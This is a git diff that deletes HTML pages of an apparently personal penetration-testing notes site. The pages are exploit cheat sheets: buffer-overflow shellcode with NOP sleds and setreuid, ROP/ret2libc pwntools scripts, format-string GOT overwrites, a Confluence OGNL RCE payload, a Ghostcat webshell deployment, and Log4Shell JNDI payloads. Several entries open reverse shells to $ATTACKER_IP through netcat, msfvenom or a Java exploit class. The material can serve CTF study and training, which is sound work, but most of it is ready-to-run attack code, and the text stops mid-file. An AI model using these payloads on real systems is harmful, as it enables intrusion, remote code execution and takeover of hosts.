    Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address

    -
    • -
  • -

    Plus NOPsled (sometimes xargs is needed in front of the app call)

    -
    • -
-
python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow
-
- -

Finding Offset

-

via gdb segfault output

-
    -
  • 64 bit addresses use 6 out of 8 byte for addresses.
    • -
-
gdb ./application
-run $(python -c "print('\x41' * 180)")
-
- -
    -
  • Return address hit completely when 6 bytes are filled.
    • -
-
Program received signal SIGSEGV, Segmentation fault.
-0x0000414141414141 in copy_arg ()
-
- -
    -
  • Buffer = measured_length - ($rbp + 6 bytes return address)
    • -
-

via metasploit

-
/opt/metasploit/tools/exploit/pattern_create.rb -l 180
-
- -
    -
  • Looking for rbp Content in front of the return address to measure offset
    • -
-
(gdb) i r
-[...]
-rbp             0x<rbpAddress>  0x<rbpConent>
-[...]
-
- -
    -
  • Measure offset
    • -
-
pt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>
-
- -

Crafting Payload

-
    -
  • Contains Junk/NOPslice + shellcode + Junk over rbp + return address
    • -
  • Inside gdb
    • -
-
run $(python -c "print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)")
-
- -
    -
  • Check actual stack
    • -
-
(gdb) x/100x $rsp-200
-0x7fffffffe228: 0x00400450  0x00000000  0xffffe3e0  0x00007fff
-0x7fffffffe238: 0x00400561  0x00000000  0xf7dce8c0  0x00007fff
-0x7fffffffe248: 0xffffe64d  0x00007fff  0x41414141  0x41414141
-0x7fffffffe258: 0x41414141  0x41414141  0x41414141  0x41414141
-0x7fffffffe268: 0x41414141  0x41414141  0x41414141  0x41414141
-0x7fffffffe278: 0x41414141  0x41414141  0x41414141  0x41414141
-0x7fffffffe288: 0x41414141  0x41414141  0x41414141  0x41414141
-0x7fffffffe298: 0x41414141  0x41414141  0x41414141  0x41414141
-0x7fffffffe2a8: 0x41414141  0x41414141  0x41414141  0x48583b6a
-0x7fffffffe2b8: 0xb849d231  0x69622f2f  0x68732f6e  0x08e8c149
-[...]
-
- -
    -
  • Shellcode starts at 0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4.
    • -
-

NopSled

-
    -
  • Prepend nopsled instead of A and pick an address inside as the future return address, for example 0x7fffffffe2a8.
    • -
-
(gdb) x/100x $rsp-200
-0x7fffffffe228: 0x00400450  0x00000000  0xffffe3e0  0x00007fff
-0x7fffffffe238: 0x00400561  0x00000000  0xf7dce8c0  0x00007fff
-0x7fffffffe248: 0xffffe64d  0x00007fff  0x90909090  0x90909090
-0x7fffffffe258: 0x90909090  0x90909090  0x90909090  0x90909090
-0x7fffffffe268: 0x90909090  0x90909090  0x90909090  0x90909090
-0x7fffffffe278: 0x90909090  0x90909090  0x90909090  0x90909090
-0x7fffffffe288: 0x90909090  0x90909090  0x90909090  0x90909090
-0x7fffffffe298: 0x90909090  0x90909090  0x90909090  0x90909090
-0x7fffffffe2a8: 0x90909090  0x90909090  0x90909090  0x48583b6a
-0x7fffffffe2b8: 0xb849d231  0x69622f2f  0x68732f6e  0x08e8c149
-
- -
    -
  • Convert return address to little endian 0x7fffffffe2a8 -> \xa8\xe2\xff\xff\xff\x7f and put it inside the return address
    • -
-
run $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')")
-
- -

setuid() and setreuid()

-
    -
  • Shellcode needs setuid(0) for effective root uid or the equivalent id of the account needed.
    • -
  • /bin/sh checks real uid not effective uid
    • -
  • ./shellcodes/setuid_shell.as
    • -
-

setreuid() in assembler

-
    -
  • Linux Syscall Table
    • -
  • setreuid(1002,1002) sets the real uid inside the shell to 1002.
    • -
  • setreuid() has rax number \x71 (113 dec). Args are stored in rdi and rsi.
    • -
  • ./shellcode/setreuid_shell.as
    • -
-
"\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
-
- -
    -
  • Convert to hex output via Defuse
    • -
-

setreuid() in shellcode using pwntools

-
    -
  • Shellcraft builds a shellcode containing setreuid(), without any parameter given the real uid to the file owner.
    • -
-
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
-shellcraft -f d amd64.linux.setreuid
-
- -
    -
  • The uid can be set as an argument
    • -
-
shellcraft -f d amd64.linux.setreuid <uid> 
-
- -
    -
  • Prepend this in front of the existing shellcode like this
    • -
-
run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')")
-
- -
* Where the existing shellcode is the following
-```sh
-\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
-```
-* Setreuid part is the following
-```sh
-\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
-```
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/buffer_overflow/ropping.html b/build/exploit/binaries/buffer_overflow/ropping.html deleted file mode 100644 index 9573fb6..0000000 --- a/build/exploit/binaries/buffer_overflow/ropping.html +++ /dev/null @@ -1,205 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

ROP Chaining

-

Usage

-
    -
  • Find cyclic buffer size
    • -
  • Find gadgets via ropper or even better ropstar
    • -
-

Example

-
from pwn import *
-
-s = ssh(host="$TARGET_IP", user="<user>", keyfile="", password="")
-p = s.process(['sudo', '<process>'])
-
-offset=<found_offset_len>
-
-# take the ropchain from ropstar
-payload = cyclic(offset)
-payload += p64(0x4711)
-payload += p64(0x235)
-payload += p64(0x007)
-
-print(p.recv())
-p.sendline(payload)
-print(p.recv())
-p.sendline("/bin/sh")
-p.interactive(prompt='')
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/canary_bypass/canary_bypass.html b/build/exploit/binaries/canary_bypass/canary_bypass.html deleted file mode 100644 index 78de63f..0000000 --- a/build/exploit/binaries/canary_bypass/canary_bypass.html +++ /dev/null @@ -1,186 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Canary Bypass

-
    -
  • Get canary value from stack via string format exploit as an offset
    • -
-
%42$p
-
- -
    -
  • Use the found value to add it to the payload
    • -
  • Afterwards, if the binary is PIE a pointer to the main or the elf which is stack aligned should be found
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/format_string/format_string.html b/build/exploit/binaries/format_string/format_string.html deleted file mode 100644 index 27af3ef..0000000 --- a/build/exploit/binaries/format_string/format_string.html +++ /dev/null @@ -1,300 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Format String

- -

Parameters

-

|Parameters |Type |Passed as -|-----------------|-------------------------------------------|-----------| -%d decimal (int) value -%u unsigned decimal (unsigned int) value -%x hexadecimal (unsigned int) value -%p hexadecimal (unsigned int), nice layout value -%s string ((const) (unsigned) char) reference -%n write the number of bytes ypu put in, (int) reference

-

Offset

-
    -
  • Read at offset as pointer value at the 42th argument on the stack
    • -
-
%42$s
-
- -
    -
  • If the pointer at the offset references a string you can dereference by
    • -
-
%42$s
-
- -

Length of output

-
    -
  • Padding of the first argument on stack to the given length
    • -
-
%31337x
-
- -

Read

-
    -
  • Input %x for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function
    • -
-
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 
-
- -
    -
  • Do long long hex reading from stack
    • -
-
%llx
-
- -
    -
  • Select values as string, e.g. the second value
    • -
-
%2$s
-
- -
    -
  • Another way of reading the pointer is via
    • -
-
%p
-
- -
    -
  • Read pointer on stack at offset 42
    • -
-
%42$p
-
- - -
from pwn import *
-
-#p = process('./vuln')
-p = remote(target_ip, 9006)
-
-payload = b'%14$p||||'                                                                                                         
-payload += p32(0x8048000)
-
-p.sendline(payload)
-log.info(p.clean())
-
- -

Write

-
    -
  • Writing is done via %n
    • -
  • An example, GOT overwrite. We want to replace the pointer address
      -
    • Watch out for the PTR from PLT to GOT
      • -
    -
    • -
-
objdump -Mintel -d <binary>
-
-[...]
-0000000000401060 <printf@plt>:
-  401060:   ff 25 ca 2f 00 00       jmp    QWORD PTR [rip+0x2fca]        # 404030 <printf@GLIBC_2.2.5>
-  401066:   68 03 00 00 00          push   0x3
-  40106b:   e9 b0 ff ff ff          jmp    401020 <_init+0x20>
-[...]
-
- -
    -
  • The PTR derefences 0x404030
    • -
  • As an example, the parameter is found at arg 6 on the stack
    • -
  • Write the address of a function that cannot be reached into the PLT PTR to GOT through the buffer, so it will execute. The address which should be written is 0x40123b
    • -
  • The input is as follows
    • -
-
%64c%6$n<restof address - 67>c   %13$hn
-
- -
    -
  • 64c is 0x40, rest of address - bytes already + 2 bytes alignment
    • -
-

Tips and Tricks

-
    -
  • Overwrite GOT when there is no FullRELRO, when it is not read only
    • -
  • Find the input argument on the stack. Write AAAA and look out where it is placed on the stack
    • -
-
AAAA%6$p
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/integral_promotion/integral_promotion.html b/build/exploit/binaries/integral_promotion/integral_promotion.html deleted file mode 100644 index 5049a91..0000000 --- a/build/exploit/binaries/integral_promotion/integral_promotion.html +++ /dev/null @@ -1,221 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Integral Promotion

-
    -
  • Conditions of data types with different max and min values provoke unforseen comparisions
    • -
  • -

    Comparing int and uint with values above max leads to integral promotion

    -
    • -
  • -

    Check data type min and max

    -
    • -
-
#include <stdio.h>
-#include <limits.h>
-
-int main(void)
-{
-
-    printf("CHAR_MAX: %i\n", CHAR_MAX);     
-    printf("UCHAR_MAX: %i\n", UCHAR_MAX);
-
-    printf("SHORT_MAX: %i\n", SHRT_MAX);        
-    printf("USHORT_MAX: %i\n", USHRT_MAX);
-
-    printf("INT_MAX: %i\n", INT_MAX);       
-    printf("UINT_MAX: %u\n", UINT_MAX);
-
-    return 0;
-}
-
- -
    -
  • Not only conditions are susceptable to integral promotions, a sum - for example - is too. Values for promotion in this example are 2147483647 and 1. c is negative and leads to the shell
    • -
-
    int a,b,c;
-
-
-    if(a >=0 && b >=0)
-        if(c >= 0){
-            printf("\n[*] ADDING %d + %d",a,b);
-            printf("\n[*] RESULT: %d\n",c);
-        }
-        else{
-             system("/bin/sh");
-        }
-    else
-        printf("nope");
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/plt_got.html b/build/exploit/binaries/plt_got.html deleted file mode 100644 index f96e407..0000000 --- a/build/exploit/binaries/plt_got.html +++ /dev/null @@ -1,221 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Procedure Lookup Table, Global Offset Table

-
    -
  • Both are part of dynamic binaries
    • -
  • PLT resolves called function address of shared object
    • -
  • A function call inside the binary, to a function inside a shared object is done via PLT
    • -
  • PLT contains dynamic address, references GOT
    • -
  • GOT contains the absolute address of the called functions. Dynamic linker updates the GOT
    • -
  • Lazy Linking is the process of loading the called SO function after they are called for the first time
    • -
-

pwn

-
    -
  • -

    Overwrite the GOT address of a called functions, which then will be returned instead

    -
    • -
  • -

    Check the disassembly of the binary for SO function call

    -
    • -
-
x/s <functionaddress>
-x/3i <functionaddress>
-
- -
    -
  • This is the PLT address
    • -
  • -

    Check the GOT address of the PLT. There should be PTR via jmp to the GOT address of the function

    -
    • -
  • -

    Rewrite this address with for example system. Take a look where it is placed

    -
    • -
-
p system
-
- -
    -
  • Set the address of the jmp to GOT to system address
    • -
-
set *<foundGOTjmpAddress>=<foundSystemAddress>
-
- -
    -
  • Fill the buffer with the argument to system
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/r2.html b/build/exploit/binaries/r2.html deleted file mode 100644 index 5b114cc..0000000 --- a/build/exploit/binaries/r2.html +++ /dev/null @@ -1,317 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Radare2

-

Usage

-

Debug

-
r2 -d <binary>
-
- -
    -
  • Analyze
    • -
-
aaa
-
- -
    -
  • Show all info
    • -
-
ia
-
- -
    -
  • Search for strings
    • -
-
izz
-
- -
    -
  • Main address
    • -
-
iM
-
- -
    -
  • Entrypoint
    • -
-
ie
-
- -
    -
  • Current memory address
    • -
-
s
-
- -
    -
  • Show address of function or register, respectively
    • -
-
s <func>
-sr <reg>
-
- -
    -
  • Show main
    • -
-
pdf @main
-
- -
    -
  • Show main and follwing functions
    • -
-
pd @main
-
- -
    -
  • Breakpoint
    • -
-
db 0xdeadbeef
-
- -
    -
  • Show all breakpoints
    • -
-
dbi
-
- -
    -
  • Show rbp-0x4
    • -
-
px @rbp-0x4
-
- -
    -
  • Continue
    • -
-
dc
-
- -
    -
  • Step
    • -
-
ds
-
- -
    -
  • Show registers
    • -
-
dr
-
- -
    -
  • Restart
    • -
-
ood
-
- -

Visual Mode

-
    -
  • Enter visual mode via VV
    • -
  • Enter normal mode inside visual mode via :
    • -
  • Add comment via ;
    • -
-

Write Mode

-
    -
  • Enter write mode via w
    • -
  • Write cache list via wc
    • -
  • Alter/modify opcode at current seek via wA
    • -
  • Use as follows
    • -
-
s <memoryaddress>
-wx <newOpcode>
-dc
-
- -

AT&T Instructions

-
    -
  • leaq src, dst: this instruction sets dst to the address denoted by the expression in src
    • -
  • addq src, dst: dst = dst + src
    • -
  • subq src, dst: dst = dst - src
    • -
  • imulq src, dst: dst = dst * src
    • -
  • salq src, dst: dst = dst << src
    • -
  • sarq src, dst: dst = dst >> src
    • -
  • xorq src, dst: dst = dst XOR src
    • -
  • andq src, dst: dst = dst & src
    • -
  • orq src, dst: dst = dst | src
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/ret2libc.html b/build/exploit/binaries/ret2libc.html deleted file mode 100644 index 0782d0d..0000000 --- a/build/exploit/binaries/ret2libc.html +++ /dev/null @@ -1,338 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Ret2libc

-
    -
  • -

    ir0nstone ret2libc

    -
    • -
  • -

    Check binary via

    -
      -
    • checksec, PIE shows start address, RELRO shows permissions of r/w to got
      • -
    • file
      • -
    -
    • -
  • Libc is affected by ASLR state of the machine, check via cat /proc/sys/kernel/randomize_va_space
      -
    • Off = 0
      • -
    • Partial = 1
      • -
    • Full = 2
      • -
    -
    • -
  • got contains dynamically loaded functions
    • -
  • plt contains used loaded dynamical functions
    • -
-

Finding something to execute

-
    -
  • Interesting stuff to call from inside libc
      -
    • /bin/sh
      • -
    • system
      • -
    -
    • -
-

libc -- Finding Offsets

-
    -
  • Find libc address at runtime via gbd
    • -
-
info sharedlibrary
-
- -

Manually

-
    -
  • On target find sh address inside libc
    • -
-
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
-
- -
    -
  • Sub from system address from inside libc
    • -
-
readelf -s /lib32/libc.so.6 | grep system
-
- -

Measure the Buffer

-
    -
  • With gef
      -
    • pattern create
      • -
    • run
      • -
    • Use pattern
      • -
    • pattern search $<register>
      • -
    -
    • -
-

ROP -- Creating a Chain

-
    -
  • Creating a ROP chain to execute the /bin/sh with parameters
    • -
  • Check
      -
    • Architecture
      • -
    • Calling convention
      • -
    -
    • -
-

Manually

-
ROPgadget --binary <file> | grep rdi
-
- -
    -
  • Find rets, to put in front of rdi
    • -
-
objdump -d <file> | grep ret
-
- -

Automated

- -

Example without ASLR

-
from pwn import *
-
-p = process('<binary>')
-
-cbase = 0x<libc_base>
-sys = cbase + <libc_system>
-sh = cbase + <libc_shell>
-rop_rdi = <found rop rdi>
-rop_ret = <found rop ret>
-
-payload =  b'A' * <count>
-payload += b'B' * 8
-payload += p64(rop_ret)
-payload += p64(rop_rdi)
-payload += p64(sh)
-payload += p64(system)
-payload += p64(0x0) # end payload
-
-p.recv()
-p.sendline(payload)
-p.interactive()
-
- -

Example with ASLR

-
    -
  • Create context
    • -
-
#!/usr/bin/env python3
-
-from pwn import *
-
-context.binary = binary = '<binary>'
-elf = ELF(binary)
-rop = ROP(elf)
-libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
-p = process()
-
-# ROP I, needed when ASL is enabled
-payload =  b'A' * 18
-payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
-payload += p64(elf.got.gets)
-payload += p64(elf.plt.puts)
-payload += p64(elf.symbols.main)
-
-p.recvline()
-p.sendline(payload)
-p.recvline()
-leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
-p.recvline()
-
-log.info(f"gets: {hex(leak)}")
-libc.address = leak - libc.symbols.gets
-log.info(f"libc address: {hex(libc.address)}")  # start address should be aligned
-
-# ROP II
-payload = b'A' * 18
-payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
-payload += p64(next(libc.search(b'/bin/sh')))
-payload += p64(rop.find_gadget(['ret'])[0])
-payload += p64(libc.symbols.system)
-
-p.sendline(payload)
-p.recvline()
-p.interactive()
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/dns/zone_transfer.html b/build/exploit/dns/zone_transfer.html deleted file mode 100644 index 2600c55..0000000 --- a/build/exploit/dns/zone_transfer.html +++ /dev/null @@ -1,179 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

DNS Zone Transfer

-

Relies on misconfiguration of the zone's master. Just query a domain from the master, if possible. Results in a disclosure of subdomains and all records previously made.

-
drill axfr test.com @<master-DNS>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/hashes/collision.html b/build/exploit/hashes/collision.html deleted file mode 100644 index 8739040..0000000 --- a/build/exploit/hashes/collision.html +++ /dev/null @@ -1,208 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Hash Collisions

-

SHA-1

-
    -
  • http://shattered.io
    • -
  • The following code is taken from a writeup from bl4ade's repo
    • -
-
#!/usr/bin/env python
-import requests
-
-# this is copy/paste from Hex editor - two different files with the same SHA1 checksum
-name = '255044462D312E33 0A25E2E3 CFD30A0A 0A312030 206F626A 0A3C3C2F 57696474 68203220 3020522F 48656967 68742033 20302052 2F547970 65203420 3020522F 53756274 79706520 35203020 522F4669 6C746572 20362030 20522F43 6F6C6F72 53706163 65203720 3020522F 4C656E67 74682038 20302052 2F426974 73506572 436F6D70 6F6E656E 7420383E 3E0A7374 7265616D 0AFFD8FF FE002453 48412D31 20697320 64656164 21212121 21852FEC 09233975 9C39B1A1 C63C4C97 E1FFFE01 7F46DC93 A6B67E01 3B029AAA 1DB2560B 45CA67D6 88C7F84B 8C4C791F E02B3DF6 14F86DB1 690901C5 6B45C153 0AFEDFB7 6038E972 722FE7AD 728F0E49 04E046C2 30570FE9 D41398AB E12EF5BC 942BE335 42A4802D 98B5D70F 2A332EC3 7FAC3514 E74DDC0F 2CC1A874 CD0C7830 5A215664 61309789 606BD0BF 3F98CDA8 044629A1 3C68746D 6C3E0A3C 73637269 7074206C 616E6775 6167653D 6A617661 73637269 70742074 7970653D 22746578 742F6A61 76617363 72697074 223E0A3C 212D2D20 40617277 202D2D3E 0A0A7661 72206820 3D20646F 63756D65 6E742E67 6574456C 656D656E 74734279 5461674E 616D6528 2248544D 4C22295B 305D2E69 6E6E6572 48544D4C 2E636861 72436F64 65417428 31303229 2E746F53 7472696E 67283136 293B0A69 66202868 203D3D20 27373327 29207B0A 20202020 646F6375 6D656E74 2E626F64 792E696E 6E657248 544D4C20 3D20223C 5354594C 453E626F 64797B62 61636B67 726F756E 642D636F 6C6F723A 5245443B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 383B3C2F 48313E22 3B0A7D20 656C7365 207B0A20 20202064 6F63756D 656E742E 626F6479 2E696E6E 65724854 4D4C203D 20223C53 54594C45 3E626F64 797B6261 636B6772 6F756E64 2D636F6C 6F723A42 4C55453B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 393B3C2F 48313E22 3B0A7D0A 0A3C2F73 63726970 743E0A0A'
-
-password = '25504446 2D312E33 0A25E2E3 CFD30A0A 0A312030 206F626A 0A3C3C2F 57696474 68203220 3020522F 48656967 68742033 20302052 2F547970 65203420 3020522F 53756274 79706520 35203020 522F4669 6C746572 20362030 20522F43 6F6C6F72 53706163 65203720 3020522F 4C656E67 74682038 20302052 2F426974 73506572 436F6D70 6F6E656E 7420383E 3E0A7374 7265616D 0AFFD8FF FE002453 48412D31 20697320 64656164 21212121 21852FEC 09233975 9C39B1A1 C63C4C97 E1FFFE01 7346DC91 66B67E11 8F029AB6 21B2560F F9CA67CC A8C7F85B A84C7903 0C2B3DE2 18F86DB3 A90901D5 DF45C14F 26FEDFB3 DC38E96A C22FE7BD 728F0E45 BCE046D2 3C570FEB 141398BB 552EF5A0 A82BE331 FEA48037 B8B5D71F 0E332EDF 93AC3500 EB4DDC0D ECC1A864 790C782C 76215660 DD309791 D06BD0AF 3F98CDA4 BC4629B1 3C68746D 6C3E0A3C 73637269 7074206C 616E6775 6167653D 6A617661 73637269 70742074 7970653D 22746578 742F6A61 76617363 72697074 223E0A3C 212D2D20 40617277 202D2D3E 0A0A7661 72206820 3D20646F 63756D65 6E742E67 6574456C 656D656E 74734279 5461674E 616D6528 2248544D 4C22295B 305D2E69 6E6E6572 48544D4C 2E636861 72436F64 65417428 31303229 2E746F53 7472696E 67283136 293B0A69 66202868 203D3D20 27373327 29207B0A 20202020 646F6375 6D656E74 2E626F64 792E696E 6E657248 544D4C20 3D20223C 5354594C 453E626F 64797B62 61636B67 726F756E 642D636F 6C6F723A 5245443B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 383B3C2F 48313E22 3B0A7D20 656C7365 207B0A20 20202064 6F63756D 656E742E 626F6479 2E696E6E 65724854 4D4C203D 20223C53 54594C45 3E626F64 797B6261 636B6772 6F756E64 2D636F6C 6F723A42 4C55453B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 393B3C2F 48313E22 3B0A7D0A 0A3C2F73 63726970 743E0A0A'
-
-print '[+] create URL decoded strings to send as GET parameters [name] and [password]...'
-name = ''.join(name.split(' '))
-password = ''.join(password.split(' '))
-
-namestr = ''.join(['%' + name[i] + name[i + 1]
-           for i in range(0, len(name)) if i % 2 == 0])
-
-passwordstr = ''.join(['%' + password[j] + password[j + 1]
-           for j in range(0, len(password)) if j % 2 == 0])
-
-print '[+] sending request to http://54.202.82.13/?name=[name]&password=[password]'
-
-u = 'http://54.202.82.13/?name={}&password={}'.format(namestr, passwordstr)
-
-resp = requests.get(u, headers={
-    'Host': '54.202.82.13'
-})
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/imagemagick/imagetragick.html b/build/exploit/imagemagick/imagetragick.html deleted file mode 100644 index 5c12c33..0000000 --- a/build/exploit/imagemagick/imagetragick.html +++ /dev/null @@ -1,179 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

ImageTragick

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/java/OGNL/cve_2022_26134.html b/build/exploit/java/OGNL/cve_2022_26134.html deleted file mode 100644 index ca4b776..0000000 --- a/build/exploit/java/OGNL/cve_2022_26134.html +++ /dev/null @@ -1,208 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2022-26134

-
    -
  • NIST CVE-2022-26134
    • -
  • Confluence versions:
      -
    • 1.3.0 to 7.4.17
      • -
    • 7.13.0 to 7.13.7
      • -
    • 7.14.0 to 7.14.3
      • -
    • 7.15.0 to 7.15.2
      • -
    • 7.16.0 to 7.16.4
      • -
    • 7.17.0 to 7.17.4
      • -
    • 7.18.0 to 7.18.1
      • -
    -
    • -
  • Object Graph Navigation Language (OGNL)
    • -
-

Usage

-
    -
  • Payload is a GET request which is set via the URI
    • -
-
 ${@java.lang.Runtime@getRuntime().exec("touch /tmp/exploit")}/
-
- - - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/java/ghidra_debug.html b/build/exploit/java/ghidra_debug.html deleted file mode 100644 index 73ad8e2..0000000 --- a/build/exploit/java/ghidra_debug.html +++ /dev/null @@ -1,197 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Ghidra Debug RCE

-
    -
  • If debug mode is enabled, connect to it via jdb
    • -
-
jdb -attach $TARGET_IP:$TARGET_PORT
-
- -
classpath
-classes
-
- -
    -
  • Stop the service
    • -
-
stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
-
- -
    -
  • Wait until the breakpoint hits and start a reverse shell
    • -
-
print new java.lang.Runtime().exec("nc.traditional $ATTACKER_IP 4449 -e /bin/sh")
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/java/ghostcat.html b/build/exploit/java/ghostcat.html deleted file mode 100644 index 6d6d7b6..0000000 --- a/build/exploit/java/ghostcat.html +++ /dev/null @@ -1,191 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Ghostcat

- -
curl -T ./webshell.war -u 'user:password' http://$TARGET_IP:8080/manager/text/deploy?path=/shello
-
- -
    -
  • Visit the webshell at $TARGET_IP:8080/shello/
    • -
  • Alternatively use a war reverse shell via
    • -
-
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4449 -f war -o revshell.war
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/java/log4shell.html b/build/exploit/java/log4shell.html deleted file mode 100644 index 5f0de91..0000000 --- a/build/exploit/java/log4shell.html +++ /dev/null @@ -1,329 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Log4Shell

- -
${sys:os.name}
-${sys:user.name}
-${log4j:configParentLocation}
-${ENV:PATH}
-${ENV:HOSTNAME}
-${java:version}
-
- -

Java Naming and Directory Interface JNDI

-
    -
  • Vulnerability can be exploited via ${jndi:ldap://<attacker-IP>/foo}
    • -
-

POC

-
curl 'http://$TARGET:8983/solr/admin/cores?foo=?$\{jndi:ldap://$ATTACKER_IP:4449\}'
-
- -
    -
  • Use HTTP header field as storage for payload or any other possible input field
    • -
-
X-Forwarded-For: ${jndi:ldap://$ATTACKER_IP:1389/foo}
-Accept: ${jndi:ldap://$ATTACKER_IP:1389/foo}
-X-Api-Version: ${jndi:ldap://$ATTACKER_IP:1389/foo}
-
- -

Usage

-
    -
  • Fuzz endpoints to applicate the exploit on
    • -
  • Clone and build marshallsec via mvn clean package -DskipTests
    • -
  • Java version should be the same as the one on the target
    • -
  • -

    A Proxy LDAP server to an HTTP server is needed

    -
    • -
  • -

    Compile following Java reverse shell via javac Exploit.java -source 8 -target 8 to Exploit.class

    -
    • -
-
public class Exploit {
-    static {
-        try {
-            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash $ATTACKER_IP 4449");
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-}
-
- -

or another one

-
import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.Socket;
